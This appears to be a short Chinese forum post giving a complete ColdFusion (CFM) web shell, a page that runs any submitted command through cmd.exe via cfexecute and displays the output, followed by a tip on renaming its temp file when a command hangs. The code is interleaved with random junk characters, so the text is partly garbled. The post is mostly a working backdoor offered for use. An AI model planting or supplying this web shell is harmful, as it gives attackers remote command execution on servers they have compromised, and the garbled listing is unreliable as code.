cfm的cmdshell使用注意

admin

cfm-cmdshell
<html>   
<head>   
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">   
<title>CFM shell</title>   
; K3 V* p: K$ s+ h! \1 x+ E</head>   
<body>   
9 k) x8 K+ b5 q5 b; N3 Y: h<!--- os.run --->   
  P3 L4 x+ {. s8 @, R<cfif IsDefined("FORM.cmd")>   
( E$ Z$ w+ R% A/ R    <cfoutput>#cmd#</cfoutput>   
) u0 B. s" X: c; D: V, ~, u) n    <cfexecute name="C:\Winnt\System32\cmd.exe"   
           arguments="/c #cmd#"   
           outputfile="#GetTempDirectory()#foobar.txt"   
. g2 V$ o9 p# U. {# f           timeout="1">   
5 l# |$ V6 J: a# K    </cfexecute>   
% R* l; T* N# H, m5 }: f% D% {$ H, R</cfif>   
, E8 _3 R& ^$ G- y<form action="<cfoutput>#CGI.SCRIPT_NAME#</cfoutput>" method="post">   
# j% S2 W; i- W6 b) J7 g, W1 G9 a<input type=text size=45 name="cmd" >   
/ ]& O9 m% T9 |<input type=Submit value="run">   
- [; Q2 i9 w0 Y4 c! o9 ~2 s  A, R* G5 c</form>   
% K8 g4 L; @  @( n7 K<cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">   
  <cffile action="Read"   
5 i& w8 ]9 S, Z; g' {            file="#GetTempDirectory()#foobar.txt"   
+ h2 u* u+ A% b            variable="readText">   
<textarea readonly cols=80 rows=20>   
) H$ V3 \2 ?6 F/ s  {& ?+ \<CFOUTPUT>#readText#</CFOUTPUT>            
</textarea>   
  L4 }- K, y* M/ r8 |6 K    <cffile action="Delete"   
            file="#GetTempDirectory()#foobar.txt">   
</cfif>   
) x: X5 g2 \! Z</body>   
</html>   
$ Z0 |" i( p: h+ \  F9 E
有时候会发现执行某次cmd后没有正常结束，造成后面不能执行命令。这时候只要修改下shell的foobar.txt名字，几处都改一下就可以了。想来是程序未正常退出，文件被占用，写不进去了。